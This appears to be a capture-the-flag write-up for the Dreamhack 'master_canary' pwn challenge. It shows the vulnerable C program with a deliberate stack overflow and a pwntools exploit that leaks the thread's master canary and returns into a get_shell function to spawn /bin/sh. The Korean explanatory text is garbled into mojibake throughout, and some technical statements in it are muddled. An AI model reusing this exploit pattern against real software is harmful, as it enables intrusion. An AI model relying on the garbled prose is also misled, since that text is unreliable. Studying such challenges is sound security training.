๋ฌธ์ œ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

 

// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>

char *global_buffer;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

void *thread_routine() {
    char buf[256];

    global_buffer = buf;

}
void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;

    while (sz < size) {
        tmp = read(0, &buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}
int main(int argc, char *argv[]) {
    size_t size;
    pthread_t thread_t;
    size_t idx;
    char leave_comment[32];


    initialize();

    while(1) {
        printf("1. Create thread\n");
        printf("2. Input\n");
        printf("3. Exit\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
                {
                    perror("thread create error");
                    exit(0);
                }
                break;
            case 2:
                printf("Size: ");
                scanf("%d", &size);

                printf("Data: ");
                read_bytes(global_buffer, size);

                printf("Data: %s", global_buffer);
                break;
            case 3:
                printf("Leave comment: ");
                read(0, leave_comment, 1024);
                return 0;
            default:
                printf("Nope\n");
                break;
        }
    }
    

    return 0;
}

 

 

checksec๋กœ ๋ณด์•ˆ ๊ธฐ๋ฒ•์„ ํ™•์ธํ•ด์ฃผ์—ˆ๋‹ค.

 

 

 

 

read_bytes ํ•จ์ˆ˜์—์„œ read ํ•จ์ˆ˜๊ฐ€ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ์‚ฌ์šฉํ•ด์„œ buf์˜ ํฌ๊ธฐ์ธ 256๋ณด๋‹ค ๋งŽ์ด ์ž…๋ ฅ๋ฐ›์œผ๋ฉด ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค.

void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;

    while (sz < size) {
        tmp = read(0, &buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}

global_buffer์ด 0x110์— ์œ„์น˜ํ•œ ๊ฑธ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

disass main

readํ•จ์ˆ˜๋Š” rbp-0x30์— ์œ„์น˜ํ•œ ๊ฑธ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์ด๋ฅผ ์‚ฌ์šฉํ•ด์„œ ์Šคํƒ ๋ฒ„ํผ ์ฃผ์†Œ์™€ ์นด๋‚˜๋ฆฌ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๋ณด์ž.

์นด๋‚˜๋ฆฌ์˜ ์ฃผ์†Œ๋Š” 0xbc5b030b71854e00์ด๋ผ๊ณ  ๊ตฌํ•ด์กŒ๊ณ , read ํ•จ์ˆ˜์™€ ์Šคํƒ ๋ฒ„ํผ ์ฃผ์†Œ์˜ ๊ฐ„๊ฒฉ์€ 0x42cfb5๋งŒํผ ๋–จ์–ด์ ธ ์žˆ๋Š” ๊ฑธ ํ™•์ธํ–ˆ๋‹ค.

 

 

์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž‘์„ฑํ–ˆ๋‹ค.

from pwn import *

p = remote("host3.dreamhack.games",21211)
elf = ELF('./master_canary')
get_shell = elf.symbols['get_shell']

p.sendlineafter('> ', '1')
p.sendlineafter('> ', '2')
size = 0x8e9
p.sendlineafter('Size: ', str(size))
p.sendafter('Data: ', "A" * size)
p.recvuntil("A" * size)
canary = u64(p.recvn(7).rjust(8, b'\x00'))

payload = b"A" * 0x28
payload += p64(canary)
payload += b"A" * 8
payload += p64(get_shell)

p.sendlineafter('> ','3')
p.sendafter('Leave comment: ',payload)

p.interactive()

๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค!